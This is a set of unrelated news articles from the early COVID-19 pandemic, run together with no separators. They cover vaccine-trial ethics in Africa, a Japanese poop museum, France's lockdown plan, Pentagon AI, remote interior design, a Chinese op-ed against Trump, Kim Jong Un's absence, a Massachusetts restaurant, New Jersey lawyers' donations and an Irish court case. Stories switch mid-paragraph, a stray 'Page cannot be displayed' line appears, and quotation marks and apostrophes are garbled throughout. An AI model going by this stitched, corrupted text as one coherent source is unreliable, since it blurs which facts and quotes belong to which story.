Award-winning scientist, Dr. Dougbeh Chris Nyan of Liberia has said that, any trials of COVID-19 vaccine must be done under internationally acceptable scientific standards as a multicenter trial and that Africans should not be singled out as subjects for COVID-19 vaccine trials. Dr. Nyan, on 13th April, made the statement during the weekly meeting of the Diaspora COVID-19 Focus Group, a group of African medical and public health professionals providing expert advice to various African countries since the outbreak of the Coronavirus (COVID-19) Pandemic in December 2019. In an interview by a panel of journalists via Zoom on 16th April, Dr. Nyan reiterated his expert opinion on vaccine-trials stating that, vaccines prevent diseases and save lives as we have experienced with polio, mumps, measles, rubella and tuberculosis vaccines over the years, adding that, the trials that produced these vaccines were done under ethical scientific standards and same should be applied to any COVID-19 vaccines trials in Africa or anywhere. The renowned scientist, Dr. Nyan, further stated that in Africa, we need to put in place strong medical regulatory bodies like Institutional Review Boards (IRB) and Data Safety Monitoring Boards (DSMB) that will serve as ethical protectors of our vulnerable population and as gate-keepers for any trials of new drugs or vaccines intended to be carried out anywhere in Africa. Once we establish these institutions like the IRBs and DSMBs, we as African scientists will be the ones to evaluate any formulation and approve or reject its application on the African continent. Therefore, nothing will be forced on us by anybody, not even by neocolonial scientists, Dr. Nyan, also a pan-Africanist emphasized. Dr. Nyan's perspective comes in the wake of what has been regarded as remarks of racist undertone made by two French scientists, Dr. Jean-Paul Mira, head of ICU services at the Cochin Hospital in Paris, and Camille Locht, research director for France's National Institute of Health and Medical Research (Inserm), that the COVID-19 vaccines should be tested on Africans. The two French scientists have since apologized for their remarks. We are reminded of the 1930 'Tuskegee Study of Untreated Syphilis in the Negro Male' in the and we don't want that ever repeated on the Black race anywhere in the world, Dr. Nyan mentioned. According to the CNN, the World Health Organization Director-General, Tedros Adhanom Ghebreyesus, condemned the controversial comments made by the French doctors about testing a Covid-19 potential treatment in Africa, calling the remarks a 'hangover from a colonial mentality.'" During the Ebola outbreak of 2014, Dr. Nyan served as a voluntary-unpaid member of the Data Safety Monitoring Board (DSM) for the global Ebola vaccine trial that took place in the United States, Liberia, Guinea, Spain, and other countries. The trial continued in the Democratic Republic of the Congo and successfully resulted in an effective and safe vaccine for Ebola today. The Ebola vaccine trial DSMB was headed by Dr. Lisa Cooper, a renowned Liberian medical doctor who was recently named Director of Urban Health Institute at Johns Hopkins University. Since the outbreak of the COVID-19 Pandemic, Dr. Nyan has employed his infectious disease expertise in East Africa, warned African governments against the use of the faulty COVID-19 testing kits from the US Centers for Disease Control, cautioned against the use of Chloroquine and Hydroxychloroquine in Africa for COVID-19 treatment and carried out continent-wide COVID-19 Pandemic Awareness. Dr. Nyan offered his expertise to the Liberian government and Africa to produce Africa's COVID-19 testing kits. While the Liberian government did not respond to Dr. Nyan's offer, Ethiopia and Rwanda have since expressed interest. He is the inventor of the US-patented Rapid Multiplex Diagnostic Test for many infectious diseases, including COVID-19. The Unko Museum reconnects you with your poop and takes your mind off the crap of social distancing. Itas been just over a year since Japan opened a pop-up museum dedicated to all things poop in Yokohama, in Tokyoas neighbouring Kanagawa Prefecture. Called the Unko Museum (literally aPoo Museuma), the pop-up proved to be so successful that it even slid into Tokyo afterwards, where it attracted crowds of turd loversauntil COVID-19 showed up in the capital, causing the facility to close its doors as a safety precaution. However, where one sphincter closes, another opens, and for the Unko Museum that means the Internet has opened up a new portal for the aMax Unko Kawaiia extravaganza to be delivered to the poop-loving public. Starting from 1 May, select displays from the museum of poo will be available to view online, as part of the countryas aStay Home Weeka initiative designed to keep people indoors during the Golden Week holiday period that runs from 29 April to 6 May. Visitors to the real museum walk through a number of different areas that play on auna, the Japanese word for apooa, and the virtual experience uses the same spaces, starting with the aUnteractive Areaa. Some lockdown measures in France will be eased on 11 May if infection rates drop low enough, prime minister Edouard Philippe has announced. (AP) France will aim to begin easing the coronavirus lockdown on 11 May, prime minister Edouard Philippe has announced. The PM said restrictions will be eased on this date as long as new cases of the virus have dropped below 3,000 per day by then. French people have been largely confined to their homes since mid-March to control the spread of COVID-19. Philippe told the French parliament it was time for the country to be told how measures will be eased, and that keeping strict measures in place risked economic collapse. French prime minister Edouard Philippe presents his plan to exit from the lockdown at the National Assembly in Paris. (AP) Latest coronavirus news, updates and advice Live: Follow all the latest updates from the UK and around the world Fact-checker: The number of COVID-19 cases in your local area 6 charts and maps that explain how COVID-19 is spreading Which lockdown measures will be eased? Some schools and shops could begin to reopen on 11 May, Philippe said, though most citizens will still be encouraged to work from home. Nurseries and primary schools will reopen nationwide on a voluntary basis and with limited class sizes. Middle schools may be opened in areas with low rates of the virus, and the government will decide whether or not to open high schools at the end of May. The wearing of masks will be encouraged, and Philippe promised that enough would be made available for citizens. Non-essential shops will be allowed to reopen with the exception of stores in shopping centres, but all bars and restaurants will remain closed. Face masks will be mandatory on public transport. The government will also aim to carry out 700,000 tests per week, and to trace the contacts of anyone who tests positive. Anyone who tests positive will be forced to isolated themselves for two weeks. The prime minister said lockdown measures had saved tens of thousands of lives. He said: We are going to have to learn to live with the virus. We must learn to live with COVID-19 and to protect ourselves from it. The death toll in France is the fourth highest in the world. The number of confirmed deaths passed 23,000 on Monday. Story continues Coronavirus: what happened today Error. Page cannot be displayed. Please contact your service provider for more details. (29) The Department of Defense is racing to test and adopt artificial intelligence and machine learning solutions to help sift and synthesize massive amounts of data that can be leveraged by their human analysts and commanders in the field. Along the way, it's identifying many of the friction points between man and machine that will govern how decisions are made in modern war. The Machine Assisted Rapid Repository System (MARS) was developed to replace and enhance the foundational military intelligence that underpins most of the department's operations. Like U.S. intelligence agencies, officials at the Pentagon have realized that data -- and the ability to speedily process, analyze and share it among components was the future. Fulfilling that vision would take a refresh. "The technology had gotten long in the tooth," Terry Busch, a division chief at the Defense Intelligence Agency, said during an Apr. 27 virtual event hosted by Government Executive Media. "[It was] somewhat brittle and had been around for several decades, and we saw this coming AI mission, so we knew we needed to rephrase the technology." In February, DOD formally adopted its first set of principles to guide ethical decision-making around the use of AI. The 80-page document was the product of 15 months of study by the Defense Innovation Board, and defense leaders have pledged not to use tools that don't abide by the guidance as they seek to push back on criticism from Silicon Valley and other researchers who have been reluctant to lend their expertise to the military. The broader shift from manual and human-based decision-making to automated, machine-led analysis presents new challenges. For example, analysts are used to discussing their conclusions in terms of confidence-levels, something that can be more difficult for algorithms to communicate. The more complex the algorithm and data sources it draws from, the trickier it can be to unlock the black box behind its decisions. "When data is fused from multiple or dozens of sources and completely automated, how does the user experience change? How do they experience confidence and how do they learn to trust machine-based confidence?" Busch said, detailing some of the questions DOD has been grappling with. The Pentagon has experimented with new visualization capabilities to track and present the different sources and algorithms that were used to arrive at a particular conclusion. DOD officials have also pitted man against machine, asking dueling groups of human and AI analysts to identify an object's location like a ship and then steadily peeling away the sources of information those groups were relying on to see how it impacts their findings and the confidence in those assertions. Such experiments can help determine the risk versus reward of deploying automated analysis in different mission areas. Like other organizations that leverage such algorithms, the military has learned that many of its AI programs perform better when they're narrowly scoped to a specific function and worse when those capabilities are scaled up to serve more general purposes. Nand Mulchandani, chief technology officer for the Joint Artificial Intelligence Center at DOD, said the paradox of most AI solutions in government is that they require very specific goals and capabilities in order to receive funding and approval, but that hyper-specificity usually ends up being the main obstacle to more general applications later on. It's one of the reasons DOD created the center in the first place, and Mulchandani likens his role to that of a venture capitalist on the hunt for the next killer app. "Any of the actions or things we build at the JAIC we try to build them with leverage in mind," Mulchandani said at the same event. "How do we actually take a pattern we're finding out there, build a product to satisfy that and package it in a way that can be adopted very quickly and widely?" Scalability is an enduring problem for many AI products that are designed for one purpose and then later expanded to others. Despite a growing number of promising use cases, the U.S. government still is far from achieving desired end state for the technology. The Trump administration's latest budget calls for increasing JAIC's funding from $242 million to $290 million and requests a similar $50 million bump for the Defense Advanced Research Projects Agency's research and development efforts around AI. Ramping up the technology while finding the appropriate balance in human/machine decision-making will require additional advances in ethics, testing and evaluation, training, education, products and user interface, Mulchandani said. "Dealing with AI is a completely different beast in terms of even decision support, let alone automation and other things that come later," he said. "Even in those situations if you give somebody a 59% probability of something happening instead of a green or red light, that alone is a huge, huge issue in terms of adoption and being able to understand it." Now that nearly all of the world has gone virtual, interior designers are finding new tools and ways of working to keep projects coming in. Theres certainly a learning curve, but who can afford not to make the switch these days? In BOHs latest Community Discussion, editor in chief Kaitlin Petersen spoke with three designersKirsten Holmstedt, Andrea Schumacher and Nicole Whiteabout their experiences pivoting to virtual design services of all shapes and sizes during the pandemic. Watch the recorded conversation here or read on to find out some of the top takeawaysfrom the digital tools that these designers are using to the challenges theyre facing in screening their clients. TAKING THINGS VIRTUAL Kirsten Holmstedt always had virtual design capabilities as an option at her Mesa, Arizonabased firm, she just didnt advertise them. Now, shes adjusted her firms offerings to include a variety of online packages, as well as a new option for one-hour phone consultations. No matter what, she begins with a discovery callthis allows for her to make sure that the clients are the right fit. Normally with full-service, we would go into the clients home for that initial consultation, she explained. Now, weve made it more of a virtual experience. South Floridabased designer Nicole White admits that shes surprised by how many firms were not offering virtual services. Ive always viewed virtual design as an extension of my full-service option, she said. The reality for me is that most of my [Instagram] followers are not local, so it was always strategic to market to those clients and to be able to offer them that experience [of working with our firm]. While shes still focusing on full-service projects, White has reincorporated her virtual design into her websiteand plans to add phone consultations too. PHONE A FRIEND In addition to finding new ways to work with existing full-service clients remotely (hint: lots of Zoom calls and FedExed samples), Denver-based Andrea Schumacher has also launched a service where clients are able to reserve 30-minute or hourlong phone consultations with her. When this whole thing happened, I figured we might as well do this while we wait, she said. Clients sign up for a time slot on Calendly (for now, she has blocked off 11 a.m. to 1 p.m., Monday through Thursday, for the calls); in return, they are sent a PayPal request for the hourly fee. So far, Schumacher has only promoted the service on her Instagram feedand though she originally planned to offer it through the end of April, she is already considering extending the timeline. The firm has several large projects in the pipeline, but Schumacher feels optimistic that some of the connections shes making now will lead to future work; several slots were also booked by other designers wanting to learn more about her business. Ive been connecting with people from all overthey just want to hop on a quick call for now, but I think itll bring in long-term clients, she said. I [also] like meeting people that wouldnt really be able to connect [otherwise]. WHAT'S IN A VIRTUAL TOOL KIT? The ubiquitous integration of Zoom as a business tool for the design community was quickbut beyond that, all three designers have started to use other applications and platforms to assist in running their virtual businesses. Holmstedt uses 17hats, a workflow optimization platform that consolidates questionnaires, contract signing, billing and presentation file sharing into one custom client portal. The sampling library Material Bank has been Whites go-to during the crisis, with overnight shipping and a wide selection of samples for her to choose from. She coordinates Zoom meetings with those shipmentsone to her, one to the clientso that they can review the same materials in real time. LOST IN TRANSLATION Without an in-person meeting to get to know a client, the designers agreed that it can be difficult to gauge a clients tastes in an initial consult. White said she usually relies on mementos like the photos from a clients travels as she walks through their house to inform her designs; now, an Instagram and Pinterest song-and-dance has become the norm, with strings of comments to contextualize what resonates within each inspiration photo. MEASURING UP All three designers have found that measuring is one of the greatest challenges for their virtual clients; Holmstedt has gone so far as to create a step-by-step guide to help her clients get their rooms dimensions just right. With such an essential piece of the job completed by the homeowner rather than the designer, White makes it clear in the contract that its up to the client to get it right. The liability is on them, but I do follow up constantly to make sure that theyre measuring correctly, she said. Ill be FaceTiming with the client and ask, Will you triple-check that ceiling, because it cannot be what youre telling me! Seven feet? This cannot work! ____________ Business of Homes biweekly Community Discussion is a new series of interactive Q&A events on Zoom for BOH Insiders. Hosted by editor in chief Kaitlin Petersen, the conversations explore how COVID-19 is impacting interior design and the home industryand how designers and brands should respond. BOH Insiders can tune in every Monday and Friday at 1:00 p.m. EST or watch the recorded sessions here. (Not a BOH Insider? Learn more about our membership community here.) Homepage image: A digital rendering by Kirsten Holmstedts firm | Courtesy of Treasure in the Detail Interiors China's state newspaper has lashed out at U.S. President Donald Trump, accusing him of destroying America's democracy, freedom, and human rights in an escalating diplomatic dispute over the coronavirus pandemic. 'Numerous people are wondering how the US system can tolerate such a person as a president,' state-run tabloid Global Times criticizes in an opinion piece. The article accuses Trump of overturning the American principle by taking an axe to the Washington Consensus, a set of broadly free market economic ideas. It says: 'The Washington Consensus is dead, the beacon of democracy, freedom and human rights that the US has long adhered to has collapsed.' The news came as Trump said on Monday that he intended to bill China more than $160billion for a 'substantial' amount for damages caused by the deadly disease. The threat has ramped up the pressure on Chinese President Xi Jinping to account fully for his country's actions. During a press conference at the White House on Monday, Trump said he intended to bill China more than $160billion for the damage the coronavirus pandemic caused after being asked whether he was considering seeking money from Beijing for its response to the pandemic Chinese President Xi Jinping and his government have faced mounting criticism over their handling of the coronavirus outbreak. Many have accused Beijing of covering up the truths The Global Times commentary was penned by a Beijing-based professor and published yesterday. Professor Wang Wen, executive dean of Chongyang Institute for Financial Studies at Renmin University of China, starts his op-ed by celebrating the 'news' that some U.S. experts and organizations labeled the U.S. as a 'failed state'. He cites a worldwide index of 'fragile states', saying the fact that the U.S. has been included on the list shows the government's vulnerability. The index is updated every year by Washington D.C.-based think tank Fund for Peace. Last year, the U.S. ranked the 153rd out of 178 countries in its 'fragility', before Czech and after Lithuania; while China ranked the 88th tying Sao Tome and Principe and South Africa. The author then refers to two columns, one written by American political scientist Francis Fukuyama in 2016 and the other published by The Atlantic in June, to further prove why the Americans regard their country as 'failed'. China's state-run tabloid Global Times has cricitized Trump over his governing policy and his handling of the coronavirus outbreak. Pictured, nurses and healthcare workers mourn and remember their colleagues who died during the outbreak on April 10 in New York City The article rips the U.S. President for his response to the coronavirus pandemic by saying: 'Over the past three seconds, Trump might have made even more startling statements again' The coronavirus pandemic has killed more than 211,000 people and infected over three million Professor Wang expresses his solidarity towards American people before continuing to slam Washington for its 'radical policies' and 'stigmatization' against China. He accuses that the Trump administration 'has nearly destroyed the foundation of international order' and pulled out of many international treaties and organizations in the past three years. He also condemns the White House for 'making U.S. dollar the most unstable factor in the global monetary order' and 'escalating the international oil price war'. Professor Wang Wen (pictured), executive dean of Chongyang Institute for Financial Studies at Renmin University of China, attacked Donald Trump in his column for the Global Times The death toll in China stands at 4,633, according to the latest government report. Students are pictured attending a class while wearing masks in the Chinese city of Xi'an on Monday The article then rips Trump for his response to the coronavirus pandemic. It says: 'Over the past three seconds, Trump might have made even more startling statements again. 'Numerous people are wondering how the US system can tolerate such a person as a president. 'The Washington Consensus is dead, the beacon of democracy, freedom and human rights that the US has long adhered to has collapsed.' The author goes on to bash Washington for siding with Taipei and trying to seek compensation from Beijing over the global health emergency. 'The signing of the TAIPEI Act and seeking compensation from China for coronavirus losses are without doubt equivalent to clenching its fists and getting ready to throw punches. 'It is like a bad kid who gets low marks, blames others and even undermines their chances of passing the exam.' Professor Wang stresses that it is in China's best interests to ignore the 'blame game' from the U.S. and 'going its own way'. He concludes: 'The US is no longer the world's dominant force, but it is still powerful. 'If it continues its willful misbehavior, Washington will bring disaster not only to the US, but all of human kind.' The U.S. is the country worst-hit by the deadly disease, with more than 56,000 killed so far The state of New York is the centre of the outbreak in the U.S. In the picture taken on Monday, EMS workers wheel a patient outside NYU Langone Health hospital during the crisis Political tensions between the U.S. and China have erupted over the coronavirus crisis. The U.S. has become the country worst-hit by the deadly disease, with more than 56,000 Americans killed in the outbreak. In comparison, the death toll in China stands at 4,633, according to the latest government report. Washington accuses Beijing of covering up the true scale of the outbreak, which led the epidemic to be a pandemic. It also says that it is investigating claims that the pathogen escaped from a virus lab in Wuhan, where the outbreak started in December, during experiments with bats. Two U.S states, Missouri and Mississippi, have taken legal actions against Beijing for its alleged cover-up of the epidemic. Beijing criticizes Washington's stigmatization and accuses it of dodging its responsibilities by diverting people's attention. A Beijing's spokesperson, Zhao Lijian, alleged that the virus might have been brought to Wuhan by U.S. troops while the state-run broadcaster CGTN suggested that the virus came from an American lab. Despite bragging about his great relationship with Chinese President Xi Jinping during the pandemic, Donald Trump on Monday hinted at possible sanctions against Beijing. The two leaders are pictured shaking hands during a meeting at the G20 Summit in Osaka in 2019 Trump has announced that the U.S. will bill China for the damage Beijing has caused in the coronavirus pandemic. Trump refuses to take responsibility for spike in people ingesting disinfectant President Trump has said he will not take responsibility for an increase in people ingesting disinfectant after he suggested its use as a coronavirus treatment be investigated by scientists. The president managed to mostly avoid questions about his bizarre Friday statement that claimed discussions were being held about researching injecting people with disinfectants. During a briefing that discussed how disinfectants can kill coronavirus on nonporous surfaces, Trump said last week pondered whether there was 'a way we can do something like that, by injection inside or almost a cleaning'. Household cleaning brands Lysol and Clorox have had to issue statements against ingesting disinfectants. Trump later claimed he was being 'sarcastic' but on Monday he briefly addressed the matter when asked about Maryland Gov. Larry Hogan's statements that his state was flooded with calls to emergency hotlines from people asking about disinfectants. 'I can't imagine why,' he said. When probed about whether he takes responsibility, the POTUS replied: 'No, I don't.' Advertisement During a press conference at the White House on Monday, Trump made the threat to China after being asked whether he was considering seeking money from Beijing for its response to the pandemic. The idea of seeking reparations from China came after a German newspaper published a mocked-up bill of a $160billion invoice for the impact shutdowns have had on the economy following the spread from Wuhan to Europe. The President claimed he had a 'much easier' idea and claimed he was planning on obtaining much more than what the Germans were suggesting. China's role in trying to cover up the extent of the virus when it first came to light has been used to blame the Communist country for the spread of the disease around the world and preventing other countries from being prepared. President Trump has been one of the most vocal world leaders in attacking the authoritarian regime and has sort to shift culpability from his own administration's response to Beijing. 'We have ways of doing things a lot easier than that,' Trump told a coronavirus press briefing Monday in Washington DC. 'Germany's looking at things, and we're looking at things, and we're talking about a lot more money than Germany's talking about. 'We haven't determined the final amount yet. It's very substantial,' Trump added. Last week German paper Bild calculated an 'invoice' of nearly 150billion (around $162billion) in economic damage to Germany because of the crisis. The idea of charging reparations to China is not endorsed by the German government, with Minister of Foreign Affairs Heiko Mass describing the concept as 'illusory'. The coronavirus pandemic has killed more than 211,000 people and infected over three million worldwide. If Kim Jong Un is hiding over coronavirus fears, it would puncture a hole in the state media narrative, analyst says. Kim Jong Un may have missed a key holiday on April 15 over coronavirus concerns, not because he is ill, South Koreas minister for North Korean affairs has said. North Korean leader Kims absence from public ceremonies on the birth anniversary of his grandfather and founder of the country, Kim Il Sung, was unprecedented, and he has not been seen in public since. That has led to days of speculation over his health. South Korean officials emphasise they have detected no unusual movements in North Korea and have cautioned against reports that Kim may be ill. North Korea has said it has no confirmed cases of the coronavirus, but given the fact the country has taken stringent steps to head off an outbreak, Kims absence from the ceremonies is not particularly unusual, Unification Minister Kim Yeon-chul, who oversees North Korea engagement, told legislators on Tuesday. It is true that he had never missed the anniversary for Kim Il Sunsbirthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns, he said. There were at least two instances since mid-January where Kim was out of sight for nearly 20 days. I dont think thats particularly unusual given the current [coronavirus] situation. US President Donald Trump said on Monday he has a good idea how Kim is doing and hopes he is fine, but would not elaborate. I do know how hes doing, relatively speaking, Trump told reporters on Monday. Japanese Prime Minister Shinzo Abe said he was aware of reports on Kims health and was paying close attention to developments. North Korea has cancelled some big events and imposed a border lockdown and quarantine measures in an effort to prevent an outbreak of the coronavirus. But if Kim is hiding out because of fears surrounding COVID-19 it would puncture a hole in the state media narrative of how this crisis has been perfectly managed, said Chad OCarroll, CEO of Korea Risk Group, which monitors North Korea. If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim, he said. Signs of life An authoritative source familiar with the US intelligence reporting said on Monday it was entirely possible Kim disappeared from public view to avoid exposure to COVID-19, and the sighting of his presidential train in the coastal resort area of Wonsan did suggest he may be there, or was there recently. But the source said since there was no authoritative backing for such a conclusion, US agencies were also still considering the possibility Kim might be ill, even seriously. 38 North, a Washington, DC-based North Korea monitoring project, said on Saturday satellite images from last week showed a special train that was probably Kims at Wonsan, lending weight to reports he had been spending time in the resort area. While North Korean state media have not reported on Kims whereabouts since he presided over a meeting on April 11, they have carried near-daily reports of him sending letters and diplomatic messages suggesting he is still carrying out his duties as the leader. I agree with the South Korean governments assessment that there is no reason to think Kim Jong Un is not performing his duties, said Rachel Minyoung Lee, a former North Korea open-source intelligence analyst for the US government. That said, I would not read too much into letters signed by Kim Jong Un. I would guess that most of them are not written by him anyway. What lies beyond the pandemic? MassForward is MassLives series examining the journey of Massachusetts small businesses through and beyond the coronavirus pandemic. ________________ A little after 4 p.m. last Friday a beeping sound prevailed over the constant buzz within the kitchen at Rail Trail Flatbread Company in Hudson. Each new beep landed a new pizza pie on one of the metal tables surrounding a wood-fire oven. Each sound is another order, co-owner Jason Kleinerman said. Soon more than 20 pies topped with everything from corn to pepperoni and buffalo chicken to pineapple consumed the space. At the front of the restaurant a pair of people stretched the dough and topped it. One of the nearly two dozen employees working Friday systematically tossed a pizza in the oven, while removing another. Two other employees immediately sliced the pizza once it landed in the box. The organized chaos represents an evolution of ideas thats catered to transforming the flatbread sit-down restaurant into a streamlined efficient takeout service due to the coronavirus pandemic, which has left businesses across Massachusetts and the country struggling to stay afloat. Rail Trail has now been able to hire employees back. Its a balance between optimizing out items to create value for families and then on the other side of that, creating experiential opportunities so people can still escape their new normal or the normal theyre experiencing right now, co-owner Michael Kasseries said. Rail Trail Flatbread Company in Hudson implemented new ideas to offer customers a better experience amid the coronavirus pandemic. Food sales at Rail Trail are still down about 30% combined with nearly no alcohol sales, which normally accounts for about a quarter of sales. However, after laying off about 100 employees at Rail Trail, New City Microcreamery in Hudson and Cambridge, and the speakeasy Less Than Greater Than, the company has been able to rehire about half its staff. The way weve been able to do that is instead of saying OK, were going to keep doing the same thing, same menu, same takeout menu, same takeout system, every single week, theres a wave of changes we go through, Kleinermann said. After Gov. Charlie Baker limited restaurants to only take out and delivery, Rail Trail implemented weekly meetings. The first one conducted after the announcement lasted more than five hours. Since then, meetings are held every Tuesday at 9 a.m. where managers, owners and employees discuss how to better handle serving the public amid the pandemic. The first week acted as a test case in many ways. The second week, Rail Trail implemented a doorway for patrons to enter and a specific door to exit. Behind the pickup counter, the business transforms into a production line. Tables and chairs once used for customers, now hold pizza boxes that stack nearly as high as the ceiling. Rail Trail Flatbread Company in Hudson implemented new ideas to offer customers a better experience amid the coronavirus pandemic. Other tables encase the brick oven to better streamline putting pizzas in the oven. The menu was also reduced by about 20%. But other items are added. Customers could now add New City Microcreamery ice cream to their orders. A freezer at the pickup counter allows customers to purchase pints when they pick up their food. By week three staffing increased. The plan called for designing a plan to better cater to peak hours, such as Friday nights. While food sales are down overall, takeout spikes at certain hours creating a surge at certain times, especially with implementing online ordering with delivery services. We like to say were creating a party, were hosting a party for everyone that comes in every night, Kasseries said. We really have to try to find a way to make sure its a house party. In approaching week four, Rail Trail began focusing on marketing tactics like bringing an atmosphere to customers through Facebook Live. Takeout kits, like make your own flatbread and Less Than Greater Than Cocktail kits, allowed customers to enjoy their favorite treats from home. Everybodys bored, Kleinerman said. Lets give them something to do. During that time, Rail Trail, New City and Less Than Greater Than applied for loans through the Paycheck Protection Program. After approval, they brought even more staff back during week five and beyond. The businesses are all owned by the same management group, which also includes Karim El-Gamal. Taso Vitsas, a manager of Rail Trail and New City, said the first Friday night of takeout the flatbread restaurant consisted of about 120 orders. About a month later, that number jumped to 500. It was unbelievable, Vitsas said. Ive never seen anything like that. Recently, if Rail Trail serves 120 takeout orders its a slow day, Vitsas said. That large of an increase in a short amount of time resulted in customers occasionally waiting longer than Kleinerman and others would like. Outside the restaurant, Kleinerman ran into a regular of Rail Trail. The customer praised Rail Trail and the entire staff for a perfect experience but the owner could only apologize for the delays. I know that they had to have waited far longer, Kleinerman said. The following week we did better, but its like [our customers] are so nice they wont say anything but Nope. Everything was great. Youre doing a great job. Rail Trail Flatbread Company in Hudson implemented new ideas to offer customers a better experience amid the coronavirus pandemic. Each day, though, the staff hopes to improve. The communitys confidence in Rail Trail inspires that push for perfection. Masks hide the faces of some regulars, but often theyre still recognized. One regular, who normally grabs a coffee daily has been dropping a check off each week in the amount he usually drinks in coffee. Being a part of this community is one of the reasons I like being here, said Vanessa Gilchrest a manager at Rail Trail and New City. My regulars are so important to me, its the people interactions. Rail Trail Flatbread Company in Hudson implemented new ideas to offer customers a better experience amid the coronavirus pandemic. Each time a person entered the Rail Trail last Friday, Vitsas greeted them. Behind a stack of New City ice cream pints formed a pyramid. A freezer full of the product was to his right. Only two lanes of Main Street separate, New City and Rail Trail, but the pints never made it into the flatbread shop until the pandemic. Now, Kasseries said he cant imagine the pints ever leaving Rail Trail. Every idea and new strategy implemented by the company not only benefited the Rail Trail in the present, but the owners expect the innovations will continue beyond COVID-19. Who knows what our business will look like when we get out of it. This may be our new normal, Kasseries said. We dont know. But we certainly wont forget the lessons weve learned. MassForward is MassLive's series examining the journey of Massachusetts' small businesses through and beyond the coronavirus pandemic. Related Content: John Azzarello, the president of the Association of Criminal Defense Lawyers of New Jersey (ACDL-NJ), was sitting in his Somerset County home when he received a text from longtime member Frank Arleo suggesting that criminal defense lawyers come together to fundraise some money and donate pizzas to a few local hospitals in an effort to provide some relief during the coronavirus pandemic. Azzarello loved the idea and immediately sent an email out to the groups 520 members asking them to voluntarily contribute personal funds. He was hoping to raise $600 to send 20 pizzas to three or four local hospitals, but his peers had another plan. The emails began flooding in with nearly every response offering $100 each. Next thing Azzarello knew, he had $6,650 pledged, which allowed him to do a lot more than give out a few pies of pizza. CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage Although the fundraising and charitable donation efforts were made by members of the ACDL-NJ, it was not undertaken by the ACDL-NJ as an organization but rather by the individual members who contributed from their personal funds. I cant tell you how proud I am of the members of our organization, Azzarello said. Ive had the privilege to serve all of these great people as their president for the past year. To see the immediate and unified response from everybody that wanted to help and reach out was really amazing. We all felt that this was a way that we could send a message to frontline healthcare workers to let them know that they are appreciated. With the amount raised steamrolling what Azzarellos original expectations were, he realized that he had the ability to help a lot more people than he originally thought. He was, however, going to need some help. He broke down the state into Central, North and South regions. Azzarello was in charge of Central, ACDL-NJ vice president Matt Adams took the North and member Daniella Gordon oversaw the South. After sending a followup email directing the lawyers of who, where and how to send their donations, checks and digital payments started pouring in. Then, the trio in charge reached out to hospitals in their respective areas to see what was needed and how they could help. Once we started reaching out to the hospitals, we came to learn that they are kind of overwhelmed with food right now and there are a lot of other things that they need, Adams said. The physicians and nurses that are working on the frontlines to battle the coronavirus, need to essentially have their shoes bleached in order to kill any residual contamination every night. They learned that, while food is important, certain hospital equipment was also needed - especially a specific version of hospital approved nursing crocs. Azzarello paired with Suburban Shoes in Madison to provide the crocs and donated 100 pairs to hospitals throughout Northern and Central New Jersey. A lot of us are inspired by what healthcare workers are doing on the frontlines, Azzarello said. I sent a letter in the boxes with the shoes and I made an analogy to Sept. 11 because everybody was running away from the World Trade Center and the Pentagon, but the firemen and policemen were running into the danger. That is the picture that I get in my mind when I think of doctors, nurses and other healthcare workers right now. While the rest of us are sheltered in place at home, these medical workers are running into the rooms to fight the coronavirus. The members of ACDL-NJ continued their plan to provide food donations sending money to Englewood Hospital and Medical Center, Holy Name Medical Center in Teaneck and Newton Medical Center. It also contributed to COVID-19 relief funds at Virtua Memorial Hospital in Mount Holly and Hackensack Meridian Health Ocean Medical Center in Brick Township. The members also contributed $1,000 in cash to the New Jersey Reentry Corporation following the prisoner releases for non-violent inmates as a consequence of the devastating toll of the pandemic on New Jerseys inmate population. Initially we were talking about sending food and having everything we do be healthcare oriented, Azzarello said. But myself, Matt and Daniella agreed that it would be consistent with the Association of Criminal Defense Lawyers of New Jersey to donate to former Governor Jim McGreevys Reentry Corporation. As the COVID-19 pandemic continues, Adams, Azzarello and Gordon will still be collecting money to do their part in giving back to the many in need. When the chips are down, you can always count on a criminal defense lawyer, Azzarello said. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Subscribe to the #TogetherNJ newsletter to get a weekly dose of these uplifting stories right to your inbox. Have you seen an inspiring story in your community during this troubling time? Tell us about it. See more uplifting stories in #TogetherNJ. Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share. Richard Greco covers Mercer County news for NJ.com and may be reached at rgreco@njadvancemedia.com. Follow him on Twitter @Richard_V_Greco. Find NJ.com on Facebook. Gardai and the Courts Service took measures today to minimise attendance at a case management hearing of the High Court challenge by John Waters and Gemma O'Doherty aimed at striking down laws introduced by the State arising out of the Covid-19 pandemic. The application will be heard before a High Court judge next week. In judicial review proceedings against the State and the Minister for Health, they seek to have various pieces of recently enacted legislation quashed by a judge of the High Court. Today, Mr Justice Charles Meenan fixed the hearing if the applications seeking permission to bring the challenge for next Tuesday, May 5. When the case was mentioned last week, more than 100 supporters of the plaintiffs gathered either in court number one of the Four Courts or in the Round Hall outside the courtroom, creating concerns about possible breach of social distancing guidelines introduced by the Chief Justice and the Presidents of the Courts arising out of the Covid-19 pandemic. Court number one was cleared of members of the public for the mention of the case before Ms Justice Deirdre Murphy last Tuesday. Supporters of John Waters and Gemma O'Doherty outside the High Court last week The judge adjourned it for two weeks but listed it for mention today for an update on how the case is being progressed to hearing. Today, that hearing was relocated to court number 25, the entrance to which is accessible only from Chancery Place, outside the Four Courts complex itself. Barriers staffed by gardai were placed at both ends of Chancery Place. Some of the gardai were armed with holsters containing batons. Supporters of Ms ODoherty and Mr Waters gathered outside the main entrance to the Four Courts from 10am and were addressed there by Ms ODoherty and Mr Waters. They then sought to enter the Four Courts complex but, after being told by gardai they had to access courtroom number 25 from Chancery Place, they moved towards Chancery Place. About 40 supporters, some carrying the national flag, were present. A significant crowd outside the Four Courts this morning for the High Court action brought by Gemma ODoherty and John Waters pic.twitter.com/RXLo5Nri9i Dominic McGrath (@McGrathDominic) April 28, 2020 Gardai prevented most of the supports entering onto Chancery Place and only Ms ODoherty, Mr Waters and another woman accompanying them were let through. In normal circumstances, Courtroom 25 can hold up to 50 people but, arising from the Covid-19 restrictions, it is believed only about 11 people in total will be permitted into the court today. It is understood only the plaintiffs, the woman accompanying them, lawyers, court staff and one or two media will be permitted entry. In their proceedings against the Minister for Health, Ireland and the Attorney General, the plaintiffs want the court to declare certain recently enacted legislation null and void. The legislation at issue includes the 2020 Health Preservation and Protection and Other Emergency Measures in the Public Interest Act, the 2020 